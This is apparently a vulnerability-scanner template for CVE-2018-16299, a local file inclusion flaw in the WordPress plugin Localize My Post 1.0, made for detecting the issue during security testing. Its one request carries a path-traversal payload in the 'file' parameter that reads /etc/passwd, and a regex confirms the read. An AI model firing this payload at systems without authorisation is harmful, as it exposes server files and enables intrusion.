id: CVE-2018-16299

info:
  name: WordPress Localize My Post 1.0 - Local File Inclusion
  author: 0x_Akoko,0x240x23elu
  severity: high
  description: |
    WordPress Localize My Post 1.0 is susceptible to local file inclusion via the ajax/include.php file parameter.
  reference:
    - https://www.exploit-db.com/exploits/45439
    - https://packetstormsecurity.com/files/149433/WordPress-Localize-My-Post-1.0-Local-File-Inclusion.html
    - https://github.com/julianburr/wp-plugin-localizemypost/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16299
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-16299
    cwe-id: CWE-22
  tags: wordpress,lfi,plugin,wp,edb,packetstorm,cve,cve2018

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/06/13